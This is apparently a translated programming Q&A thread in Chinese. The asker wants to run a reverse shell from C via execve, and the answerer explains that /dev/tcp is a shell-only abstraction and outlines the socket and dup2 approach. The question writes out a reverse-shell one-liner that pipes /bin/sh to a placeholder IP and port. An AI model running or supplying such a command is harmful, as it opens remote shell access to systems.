我需要使用execve
运行反向shell。我知道如何从命令行运行它,如下所示:
$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
我可以按如下方式运行/bin/sh
调用的简单版本:
#include <stdio.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = "-i";
args[2] = NULL;
execve(args[0], args, NULL);
}
我无法弄清楚如何运行命令的其余部分。我尝试将剩余的字符串> /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
指定为args
数组中的单个元素。当我运行它时会报告Can't open >
。
我提到的反向shell命令是否可以通过execve()
执行?如果是这样,那么正确的做法是什么?感谢。
答案 0 :(得分:1)
/dev/tcp/*/*
文件不存在。它们是一种仅存在于某些shell中的抽象(bash,ksh)。您需要在C程序中进行常规套接字编程(socket
,bind
,listen
,accept
,然后dup2
标准IO上的套接字你产生的shell的描述符)。
您还应该修复数组中的溢出。
诸如char *args[] = { "/bin/sh", "-i", 0 };
之类的初始化应该不易出错。